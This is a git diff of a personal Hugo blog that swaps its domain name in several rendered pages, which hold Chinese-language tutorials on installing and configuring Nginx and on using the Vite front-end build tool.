y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Nginx</h1><div class=post-meta><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Nginx.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）</p><p>Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））</p><p>Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成</p><p>Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费</p><p>Nginx编译安装</p><p>Mainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本</p><p>下载Nginx</p><p>wget <a href=http://nginx.org/download/nginx-1.22.0.tar.gz>http://nginx.org/download/nginx-1.22.0.tar.gz</a></p><p>解压Nginx压缩包</p><p>tar -xzf nginx-1.22.0.tar.gz</p><p>其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件</p><p>conf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录</p><p>进入nginx目录然后进行编译</p><p>查看编译时支持的参数</p><p>./configure &ndash;help | more</p><p>使用默认参数编译</p><p>./configure &ndash;prefix=/home/nginx</p><p>编译完成的中间文件存会放在objs文件夹下</p><p>ngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改</p><p>make编译</p><p>make install安装</p><p>进入/home/nginx，可以看到已经安装完成</p><hr><p>安装</p><p>编译安装</p><p>apt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel</p><p>wget <a href=http://nginx.org/download/nginx-1.22.0.tar.gz>http://nginx.org/download/nginx-1.22.0.tar.gz</a></p><p>tar -zxvf nginx-1.18.0.tar.gz</p><p>cd nginx-1.18.0</p><p>make &&amp;make install</p><p>一键安装（不推荐）</p><p>apt install nginx</p><p>检查是否安装完毕</p><p>nginx -v</p><p>nginx配置文件nginx.conf解读，一般在/etc/nginx下</p><pre><code>user root; # nginx运行用户
 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
 error_log  /www/wwwlogs/nginx_error.log  crit; # 错误日志存储位置
 pid        /www/server/nginx/logs/nginx.pid; # 进程PID存储位置
@@ -185,8 +185,8 @@
     resolver_timeout 5s;
     ssl_trusted_certificate nginx.pem; #证书公钥（pem格式）
 }
-</code></pre><p>查看是否开启OCSP Stapling</p><p>openssl.exe s_client -connect <a href=https://test.xiaochenabc123.test.com:443>https://test.xiaochenabc123.test.com:443</a> -status</p><p>没有开启会返回OCSP response: no response sent</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/nginx/>nginx</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/87/><span class=title>« Prev</span><br><span>简单使用Vite-前端构建工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/85/><span class=title>Next »</span><br><span>简单使用Nginx HTTP服务器软件</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>查看是否开启OCSP Stapling</p><p>openssl.exe s_client -connect <a href=https://test.xiaochenabc123.test.com:443>https://test.xiaochenabc123.test.com:443</a> -status</p><p>没有开启会返回OCSP response: no response sent</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/nginx/>nginx</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/87/><span class=title>« Prev</span><br><span>简单使用Vite-前端构建工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/85/><span class=title>Next »</span><br><span>简单使用Nginx HTTP服务器软件</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/87/index.html b/posts/87/index.html
index 7f402a1d..49dddb3b 100644
--- a/posts/87/index.html
+++ b/posts/87/index.html
@@ -37,9 +37,9 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/87/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Vite-前端构建工具"><meta property="og:description" content="Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/87/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Vite-前端构建工具"><meta property="og:description" content="Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -78,8 +78,8 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/87/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T14:20:00+00:00"><meta property="article:modified_time" content="2021-08-18T14:20:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Vite-前端构建工具"><meta name=twitter:description content="Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/87/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-18T14:20:00+00:00"><meta property="article:modified_time" content="2021-08-18T14:20:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Vite-前端构建工具"><meta name=twitter:description content="Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -118,81 +118,81 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Vite-前端构建工具","item":"https://xiaochenabc123.github.io/posts/87/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Vite-前端构建工具","name":"简单使用Vite-前端构建工具","description":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from \u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d\r配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy'\r.","keywords":["Vite"],"articleBody":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=“ts\"就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import ‘./app.css’）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=“scss\"就可以使用sass了\njson也是可以直接引入，例如：import data from ‘./data.json’\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from ‘./App.jsx’\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d\r配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy'\r...\rplugins: [\rlegacy([\rtargets: ['defaults','no IE 11']\r])\r]\r...\rbuild: {\rtarget: 'es2015'\r}\r浏览器原生ESM导入\nindex.html\napp.js\nimport { createApp } from 'vue'\rimport App form './App.vue'\rimport './index.css'\rcreateApp(App).mount(\"#app\")\r浏览器解析index.html的时候，通过\r可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展\nvite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：\nif(import.meta.hot){\rimport.meta.hot.accept((newMod) =\u003e{\rnewMod.Dom()\r})\r}\r原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了\nvite批量导入\nconst mods = import.meta.glob('./src/*')\rconsole.log(mods)\r可以看到输出了一个键值对，键为文件名，值为该文件的import\nObject.entries(mods).forEach([a,b]) =\u003e{\rb().then(mod =\u003e {\rconsole.log(mod.default)\r})\r}\r预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）\n预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看\n","wordCount":"267","inLanguage":"en","datePublished":"2021-08-18T14:20:00Z","dateModified":"2021-08-18T14:20:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/87/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Vite-前端构建工具</h1><div class=post-meta><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Vite-%e5%89%8d%e7%ab%af%e6%9e%84%e5%bb%ba%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载</p><p>Vite在法语中的意思为快速的</p><p>基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块</p><p>依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）</p><p>对于TypeScrip的支持程度相当好，只需要在script元素加lang=&ldquo;ts"就可以使用ts了</p><p>至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import &lsquo;./app.css&rsquo;）</p><p>sass/scss使用（前提已经安装了sass）</p><p>在style元素中加lang=&ldquo;scss"就可以使用sass了</p><p>json也是可以直接引入，例如：import data from &lsquo;./data.json&rsquo;</p><p>另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from &lsquo;./App.jsx&rsquo;</p><p>vite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包</p><p>打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）</p><p>常见的打包工具例如：webpack，rollup，parcel，gulp</p><p>注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢</p><p>传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）</p><p>vite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码</p><hr><p>构建Vite项目</p><p>npm create vite</p><p>或者</p><p>yarn create vite</p><p>然后初始化一下</p><p>npm install</p><p>或者</p><p>yarn</p><p>启动服务器</p><p>vite</p><p>或者</p><p>npm run dev，yarn dev</p><p>本地预览</p><p>vite preview</p><p>打包</p><p>vite build</p><hr><p>react</p><p>npm create vite</p><p>选择react，如果需要ts，也可以选择ts</p><p>npm install</p><hr><p>Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成</p><p>Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）</p><p>安装@vitejs/plugin-legacy</p><pre><code>yarn add @vitejs/plugin-legacy -d
-</code></pre><p>配置vite.config.ts</p><pre><code>import legacy from '@vitejs/plugin-legacy'
-...
-plugins: [
-    legacy([
-        targets: ['defaults','no IE 11']
-    ])
-]
-...
-build: {
